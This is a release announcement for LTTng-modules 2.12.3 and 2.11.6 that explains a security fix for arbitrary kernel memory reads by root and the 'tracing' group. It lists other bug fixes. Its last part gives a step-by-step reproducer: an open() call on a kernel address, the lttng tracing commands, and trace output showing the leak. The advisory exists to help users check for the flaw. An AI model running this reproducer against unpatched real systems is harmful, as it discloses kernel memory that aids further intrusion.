[RELEASE] LTTng-modules 2.12.3 and 2.11.6 (Linux kernel tracer) (security fix)

From: Mathieu Desnoyers
Date: Mon Oct 05 2020 - 17:12:33 EST


Hi,

These releases include a security fix for the LTTng kernel tracer.

This issue was introduced very early in the LTTng modules 2.0 development,
prior to the lttng-modules v2.0.0 release. Therefore all lttng-modules
releases are affected. Users are encouraged to upgrade.

See master branch commit (6f192a1604ec "fix: don't allow userspace copy to read kernel memory")

This patch fixes a security issue which allows the root user to read
arbitrary kernel memory. Considering the security model used in LTTng
userspace tooling for kernel tracing, this bug also allows members of
the 'tracing' group to read arbitrary kernel memory.

Calls to __copy_from_user_inatomic() where wrongly enclosed in
set_fs(KERNEL_DS) defeating the access_ok() calls and allowing to read
from kernel memory if a kernel address is provided.

Remove all set_fs() calls around __copy_from_user_inatomic().

As a side effect this will allow us to support v5.10 which should remove
set_fs().

You will find below details on how to reproduce this issue to check whether
your version of lttng-modules is vulnerable or not.

While reviewing this code, we also noticed that the lttng_strlen_user_inatomic
could theoretically cause a long preemption-off critical section because it is
an unbounded loop. We added an arbitrary 1MB size limit to the size of user
strings to prevent this. It can be found as
master branch commit (eb94dcd91d4e "fix: Add a 1MB limit to lttng_strlen_user_inatomic")

A fix for the system call filter table was introduced, which should speed up
system call tracing when only specific system calls are selected.
master branch commit (badfe9f5c396e "Fix: system call filter table")

Besides this, commits adding support for Linux kernel 5.9, as well as newer Ubuntu
kernels were integrated into the 2.12.3 and 2.11.6 releases.

Finally, a fix for dependency issue when building LTTng-modules within the
Linux kernel tree without CONFIG_FTRACE was integrated.

Security issue (kernel memory disclosure to root user and 'tracing' group)
reproducer:

cat /proc/kallsyms
[...]
ffffffffaa9c3f81 r __kstrtab_sunrpc_cache_update
[...]

Create userspace program 'exploit' issuing:

open((void*)(uintptr_t)0xffffffffaa9c3f81, 0);

Run lttng-sessiond as root.

Then trace as tracing group user:

lttng create
lttng enable-event -k --syscall 'openat'
lttng add-context -k -t procname
lttng start

Run 'exploit' program as unprivileged user.

lttng stop
lttng view | grep exploit | tail -n 2

In the "Vulnerable" case, the symbol name can be found in the filename field
of the openat event in the trace. With the fix, an empty string is saved in the
filename field instead. Vulnerable case:

[17:02:57.265276947] (+0.000960778) compudjdev syscall_entry_openat: { cpu_id = 22 }, { procname = "exploit" }, { dfd = -100, filename = "sunrpc_cache_update", flags = ( "O_RDONLY" : container = 0 ), mode = ( <unknown> : container = 0 ) }
[17:02:57.265284413] (+0.000007466) compudjdev syscall_exit_openat: { cpu_id = 22 }, { procname = "exploit" }, { ret = -14 }

With fix:

[16:58:51.229342728] (+0.000906591) compudjdev syscall_entry_openat: { cpu_id = 22 }, { procname = "exploit" }, { dfd = -100, filename = "", flags = ( "O_RDONLY" : container = 0 ), mode = ( <unknown> : container = 0 ) }
[16:58:51.229348988] (+0.000006260) compudjdev syscall_exit_openat: { cpu_id = 22 }, { procname = "exploit" }, { ret = -14 }

Thanks,

Mathieu

Project website: https://lttng.org
Documentation: https://lttng.org/docs
Download link: https://lttng.org/download

--
Mathieu Desnoyers
EfficiOS Inc.
http://www.efficios.com